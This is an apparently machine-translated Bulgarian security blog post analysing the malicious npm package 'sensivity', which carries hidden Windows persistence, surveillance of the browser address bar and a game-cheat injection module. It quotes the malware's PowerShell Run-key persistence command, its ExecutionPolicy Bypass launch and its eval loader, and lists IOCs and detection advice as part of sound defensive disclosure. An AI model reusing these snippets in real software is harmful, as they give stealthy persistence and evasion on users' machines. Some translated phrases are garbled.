PairLoop: Скрит панел за дистанционно управление в npm пакет

PairLoop: Един npm пакет, седемдесет версии и скрит панел за дистанционно управление на Windows

TL; DR

npm пакетът чувствителност описва се като „Панел за контрол на чувствителността“. В Windows се държи като инструмент за дистанционно управление и наблюдение.

Входната му точка, launcher.js, преименува собствения си процес на Runtime Broker, записва стойност на автоматично стартиращ се Run-key с име OneDriveUpdate който рестартира пакета чрез скрит VBScript, стартира PowerShell с -ExecutionPolicy Bypassи след това оценява обфусциран сървърен полезен товар от 171 KB, заедно с нативен модул от 6.87 MB, sens.node.

Той обслужва контролен панел за сдвояване на телефони на TCP порт 3000 и чете URL адреса от адресната лента на активния браузър чрез Windows UIAutomation, като търси едно твърдо кодирано YouTube видео.

Две части, които преди се четеха като черни кутии, вече са разрешени. Обфускираният сървър, server.obf.js, използва схема за низове и масиви от obfuscator.io RC4; повторното имплементиране на неговия декодер офлайн (без изпълнен JavaScript) възстановява една външна крайна точка — https://izopi.com/check.php — заедно с вграден публичен RSA ключ, използван за проверка на подписани лицензионни отговори.

Нативният модул, sens.node, не е пакетиран: таблицата му за импортиране и вградените низове го идентифицират като DirectX 11 / Dear ImGui игрово наслагване, предоставящо функции за aimbot, ESP (wall-hack) и triggerbot, задвижвани от инжектиране в отдалечен процес и четене/запис в паметта.

Низовете вътре в него препращат към обекти на превозни средства и местоположения на картата, съвместими с GTA V / FiveM. npm пакетът е обвивката за доставка и постоянство около този нативен модул.

Определящият сигнал е оперативен, а не технически: един анонимен издател е пуснал приблизително седемдесет версии на един пакет — 2.5.0 чрез 2.5.69 — в продължение на няколко дни, всеки от които носеше една и съща ракета-носител.

Няма инсталации hooksПолезният товар се изпълнява само когато пакетът е стартиран.

Атаката: Как работи

sensivity доставя десет файла. Package.json е рядък: няма поле за хранилище, няма лиценз, има main и два bin псевдонима (sensitivity, sens), всички сочещи към launcher.js, и стартов скрипт на node launcher.js. Няма postinstall или preinstall. Нищо не се задейства при npm install. Поведението, описано по-долу, се изпълнява, когато потребител стартира пакета - чрез bin shim, стартовия скрипт или require.

Тарболът съдържа стартера, обфускиран сървър, нативния модул, Visual Basic скрипт и директория public/web за контролния панел. launcher.js е четимият оркестратор; логиката, която е важна по време на изпълнение, се намира в двата блоба, които зарежда - обфускиран сървър и компилиран нативен модул, и двата описани по-долу.

 Маскиране на процесите и фалшива програма за актуализиране на OneDrive

В началото на изпълнението launcher.js задава собственото си име на процес два пъти:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker е легитимен процес на Windows (RuntimeBroker.exe), който посредничи за разрешенията за приложения. Преименуването на Node процес, за да съответства на него, означава, че бърз поглед към Task Manager не показва нищо необичайно.

Persistence е написан чрез PowerShell, а не чрез директен API на системния регистър:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Стойността за автоматично стартиране се нарича OneDriveUpdate и не сочи директно към пакета. Тя сочи към wscript.exe, който изпълнява включения в пакета OneDrive.Standalone.Updater.vbs. Този скрипт рестартира node launcher.js в скрит прозорец. Както името на ключа за изпълнение, така и името на VBScript файла заимстват марката на Microsoft, така че записът за автоматично стартиране се чете като рутинна задача на OneDrive.

PowerShell с байпас на правилата за изпълнение

Стартовият панел многократно се обръща към PowerShell. Скенерите маркират като критични стартирането на генериран .ps1 файл с деактивирана политика за изпълнение:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Заобикалянето на ExecutionPolicy премахва локалната проверка за подписване на скриптове за това извикване. Генерираните скриптове обработват работата по наблюдение на браузъра и откриване на прозорци, описана в следващия раздел.

Обфускираният сървър и нативният модул

След настройката, launcher.js зарежда и изпълнява реалния си полезен товар:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js е 171 KB от _0x-array obfuscation — JavaScript шаблонът, при който всеки низ и идентификатор се заменя с индекс в разбъркан масив, след което се дереференцира по време на изпълнение. Схемата е RC4 вариант, създаден от obfuscator.io: една декодерна функция декодира base64 запис в масив и след това го декриптира RC4 с ключ за всяко извикване. Преимплементирането на този декодер в отделен скрипт — изпълнявайки само преимплементацията върху извлечения масив от низове с 821 записа, никога собствения JavaScript код на пакета — го размотава чисто. Това, което изглежда скромно, но...cisive: един външен URL адрес, https://izopi.com/check.php`, присвоен на константа LICENSE_URL; вграден RSA PUBLIC_KEY_PEM`; локалният панел маршрутизира /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off и /trigger/status; и низовете child_process, crypto и [Sensivity] sens.node loaded — последният е точният ред от лога, който стартерът пренаписва в програмен модул loaded. Крайната точка е проверка на лиценза: клиентът изпраща идентификатор (обфускираният сървър форматира низ Discord ID: %s) и RSA ключът проверява подписания отговор на сървъра.

sens.node е компилиран native addon с размер 6.87 MB и не е пакетиран — ентропията на секциите е с версия 5.6–6.6, а таблиците за импортиране и експортиране на PE са непокътнати, така че възможностите му са четими директно. Той експортира napi_register_module_v1, standard Входна точка на Node N-API, така че оцененият сървър го зарежда с обикновен require. Неговата таблица за импортиране е tell. От KERNEL32 той извлича OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules и Process32First/NextW - каноничният набор за локализиране на друг процес, разпределяне на памет вътре в него и четене или записване на тази памет. От USER32 той извлича GetAsyncKeyState, GetKeyState, mouse_event и SetCursorPos; той свързва d3d11.dll, D3DCOMPILER_43 и dwmapi за екранно наслагване и пълния WINHTTP набор за мрежови повиквания. Вградените му низове назовават набора от функции без двусмислие: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected и банера Dear ImGui Dear ImGui 1.91.3 WIP. Низовете за местоположение и обекти, като например Grapeseed Medical Clinic и речникът за vehicle-ESP, са съвместими с GTA V / FiveM.

Разделянето е умишлено: четливият launcher.js съдържа само частите, които скенерът чете лесно - persistence, maskarade, самото eval извикване - докато обфускацията скрива единствения външен хост, с който runtime се свързва, а двоичният файл съдържа логиката за наслагване на играта и инжектиране на процеси. Лаунчерът е тънката, одитираема обвивка; обфускираният сървър скрива мрежовата идентичност; нативният модул е ​​полезният товар. Описваме импортираните и низовете на двоичния файл като прочетени; не правим заключение за целта на оператора от тях.

 Контролен панел за сдвояване на телефони на порт 3000

Стартовата програма управлява локален уеб сървър на TCP порт 3000 и го третира като singleton. Тя запитва за съществуващ слушател и го изчиства преди свързване:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Панелът е достъпен на http://localhost:3000, с твърдо кодиран резервен URL адрес за LAN мрежа http://192.168.1.16:3000. Директорията public/ и поведението на панела са съвместими с поток на QR-сдвояване: телефон сканира код и се свързва с хоста като отдалечен. В стартовия панел не се появява външен домейн за командване и управление в ясен текст — но, както показва деобфускацията по-горе, такъв присъства в обфускирания сървър: крайната точка за лиценз izopi.com. Самият панел е локален и с обхват в LAN мрежата; единственият изходящ хост е тази проверка на лиценза.

Отделен модел на супервайзор/работник поддържа процеса активен. Стартовата програма се рестартира с флагове на средата SENSIVITY_SUPERVISOR и SENSIVITY_WORKER, като всеки дъщерен процес работи скрит, така че унищожаването на един процес оставя „watchdog“, който да го рестартира.

Наблюдение на браузъра и YouTube Signal

Най-специфичното поведение е наблюдението на браузъра. launcher.js изгражда PowerShell, който кара Windows UIAutomation да чете адресната лента на работещ браузър:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern връща текстовото съдържание на UI елемент. Приложен към контрола за редактиране в адресната лента на браузъра, той връща URL адреса, който жертвата преглежда в момента - без разширение за браузър, без да докосва профила на диска и без API hook. Генерираният скрипт итерира списък $browserNames и извлича URL адреса или заглавието на прозореца на браузъра, който е на преден план.

Този URL адрес се тества спрямо една твърдо кодирана цел:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Стартовата програма проверява в трисекунден цикъл за прозорец на браузър, показващ YouTube, а генерираният PowerShell съдържа двойка Get-YouTubeBrowser / Test-TargetYouTubeUrl, която съвпада с този идентификатор на видеото. Наблюдаваният ефект е двоен: активният URL адрес за сърфиране се чете от екрана на жертвата и се открива взаимодействието на хоста с едно конкретно видео в YouTube. Описваме механизма и целта; не правим заключения за мотив от тях.

Прочетеното от адресната лента е това, което скенерът обозначава като sensitive_data_enumeration — източник на Process::env и UIAutomation, захранващ мрежово-съвместима среда за изпълнение. Сам по себе си изглежда безобиден и се превръща в наблюдение едва след като жизненият цикъл на данните бъде проследен от източника на UIAutomation до обфускирания сървър.

Хронология и еволюция на версиите

Чувствителността не е качване с един удар. Акаунтът на издателя има приблизително седемдесет публикувани версии на този единствен пакет, а нови продължаваха да пристигат по време на периода за преглед. Стартовата програма се разраства функция по функция в линията 2.5.x, докато нейната устойчивост и зареждане на полезен товар остават фиксирани.

Дата (UTC) Наблюдавани версии Състояние на стартовия панел
2026-06-02 2.5.8 - 2.5.46 S Базов стартер с QR-панел; Устойчивост на клавиш за изпълнение; оценка на обфускиран сървър.
2026-06-03 2.5.53 - 2.5.61 S Същият пръстов отпечатък; потискане на следи от конзолата.
2026-06-04 2.5.67, 2.5.68 S Добавя закачена цел за ангажираност в YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 S Преиздаване за запълване на празнини в целия диапазон; надзорник/работник.

Четенето на стартовата програма в изтеглените представителни версии — 2.5.0, 2.5.36 и 2.5.69 — показва четири нива. Най-ранните компилации съдържат базовата стартова програма за QR-сдвояване. От 2.5.33 се появява инструментът за събиране на адреси от адресната лента на UIAutomation. От 2.5.58 се добавя слой за управление на супервайзори. От 2.5.64 отделният контролер за супервайзори/работници допълва набора. През цялото време четири неща не се променят: ключът OneDriveUpdate Run, инструментът за пускане OneDrive.Standalone.Updater.vbs, оцененият server.obf.js и нативният модул sens.node.

Вълната от 2026-06-05 е забележителна, защото препубликува ниските номера на версиите - от 2.5.0 до 2.5.15 - които са под версиите, потвърдени дни по-рано. Ефектът е съседен ред 2.5.x в системния регистър, като всяка версия носи един и същ стартер.

Индикатори за компромис

Всички индикатори по-долу бяха прочетени директно от tarball-а на пакета. Четливият стартер съдържа само loopback и един частен LAN адрес; единственото външно име на хост, izopi.com, беше възстановено чрез деобфускиране на server.obf.js офлайн.

Тип индикатор бележки
Пакет npm:sensivity (≈70 версии, 2.5.0-2.5.69) Издател с един пакет; без хранилище; нелицензиран.
досие launcher.js Четлив оркестратор; основна и контейнерна цел.
досие server.obf.js (≈171 KB) obfuscator.io RC4 полезен товар от низови масиви, зареден чрез eval(fs.readFileSync(...)).
досие sens.node (≈6.87 МБ) PE32+ x86-64 Node N-API добавка; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
досие OneDrive.Standalone.Updater.vbs Скрит рестартьор (node launcher.js).
мрежа https://izopi.com/check.php Крайна точка за лиценз/авторизация, възстановена от обфускирания сървър; вграденият публичен RSA ключ проверява отговорите.
Способност OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Инжектиране в отдалечени процеси и възможност за четене/запис в паметта.
Способност Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui игрово наслагване, имплементиращо функциите aimbot, ESP и triggerbot.
регистратура HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Стойност за автоматично стартиране, сочеща към wscript.exe и стартера на VBScript.
Процес process.title = 'Runtime Broker' Маскира се като легитимен процес на Windows Runtime Broker.
Поведенчески powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 За генерирани PowerShell скриптове се използва заобикаляне на правилата за изпълнение.
Поведенчески UIAutomation ValuePattern четене на адресната лента на браузъра Чете URL адреса на прозореца на браузъра на преден план.
Поведенчески Идентификатор на целевия видеоклип wJWta2lO0Lw3-секундна анкета в YouTube Сигнал за наблюдение на закрепването.
мрежа http://localhost:3000, резервен вариант http://192.168.1.16:3000 Контролен панел за QR сдвояване, достъпен локално и в локалната мрежа.
Заобикаляща среда SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Отделни флагове за координация на процесите на наблюдение.

Приписване, въздействие и защитници

Пакетът е публикуван от един npm акаунт, чийто посочен имейл адрес е непотвърден Gmail адрес. Акаунтът има силно негативна репутация в системния регистър, поддържа и публикува само този пакет и няма свързано хранилище с изходен код. Не сме потвърдили собствеността на имейла и приписваме кампанията на акаунта на издателя, а не на някое посочено лице. Стартовата програма не носи инфраструктура с ясен текст, но един външен хост вече е известен: обфускираният сървър се свързва с izopi.com за проверка на лиценза, а нативният модул - чете се от неговата таблица за импортиране и низове, а не обърната инструкция по инструкция - е игрово наслагване, което инжектира и чете паметта на друг процес.

Наблюдаваното въздействие е насочено към потребители на Windows, които инсталират и стартират sensivity, очаквайки помощна програма в контролния панел. На тези хостове пакетът установява автоматично стартиране, прикрито като задача в OneDrive, преименува се, за да имитира системен процес, чете URL адреса на това, което потребителят разглежда, и създава панел за сдвояване, който свързва машината с отдалечено устройство през локалната мрежа. Функцията за наблюдение на супервайзора/работника означава, че еднократното убийство на процеса не го премахва; записът с клавиша Run оцелява след рестартиране. macOS и Linux не са цел на стартовия панел — пътищата за persistence, PowerShell и UIAutomation са само за Windows.

Струва си да се отбележи тенденцията, че пакетите от седемдесет версии са преиздадени. Препубликуването на един пакет десетки пъти за няколко дни, включително добавянето на номера на версии под вече премахнатите, поддържа активно копие в системния регистър между премахванията и осуетява блокираните списъци с версии. Запис в блокирания списък за sensivity@2.5.61 не прави нищо срещу препубликуването на sensivity@2.5.3 на следващия ден.

Защитниците могат да действат по следните начини:

  • Блокирайте напълно чувствителността на името на пакета в списъците за разрешени сървъри на системния регистър и в CI. Закрепването на отделни версии губи от честотата на повторно публикуване; името е трайният индикатор.
  • Търсете стойност за изпълнение с име OneDriveUpdate, чиито данни извикват wscript.exe срещу .vbs файл в потребителски път. Истинският инструмент за актуализиране на OneDrive не е регистриран по този начин.
  • Предупреждение за Node.js процес, чието process.title е Runtime Broker. Истинският брокер е RuntimeBroker.exe, а не Node runtime.
  • Маркира npm извличания по време на инсталиране на пакети, които доставят компилиран .node аддон плюс eval(fs.readFileSync(…)) на сроден .obf.js файл. Това сдвояване — непрозрачен нативен двоичен файл, зареден до обфусиран текстов полезен товар — е структурният индикатор тук, независимо от всеки низов IOC.
  • Третирайте всеки локално свързан слушател на порт 3000, породен от неочакван процес на Node, като подозрителен в управляваните крайни точки на Windows.
  • Блокиране или предупреждаване за изходящи заявки към izopi.com от хостове на разработчик или краен потребител; това е единствената външна крайна точка на пакета, достигната на /check.php от обфускирания сървър.
  • За всеки включен в пакета .node аддон, проверете таблицата му за импортиране, преди да му се доверите. Комбинацията OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread е инжектиране в отдалечен процес, независимо от това, което пакетът твърди, че прави; тук тя се намира до Direct3D наслагване и низове aimbot/ESP/triggerbot.

За статичен анализ pipelines, формата на убеждението е устойчива по време на изместването на версиите: профил за инсталиране извън мрежата, присвояване на заглавие на процес към известно име на системен процес, запис с клавиш за изпълнение чрез PowerShell и оценка на файл, прочетен от диск. Нито едно от тези неща не зависи от домейн, IP адрес или номер на версията, които следващото публикуване може да завърти.

 Източници

[npm: чувствителност] – страница в системния регистър за реда с версията на пакета, обсъждан тук; подлежи на премахване.

инструменти за анализ на състава на софтуера SCA Tools
Приоритизирайте, отстранете и защитете софтуерните си рискове
Вземете своя безплатен акаунт.
Не е необходима кредитна карта.

Осигурете си разработка и доставка на софтуер

с продуктовия пакет Xygeni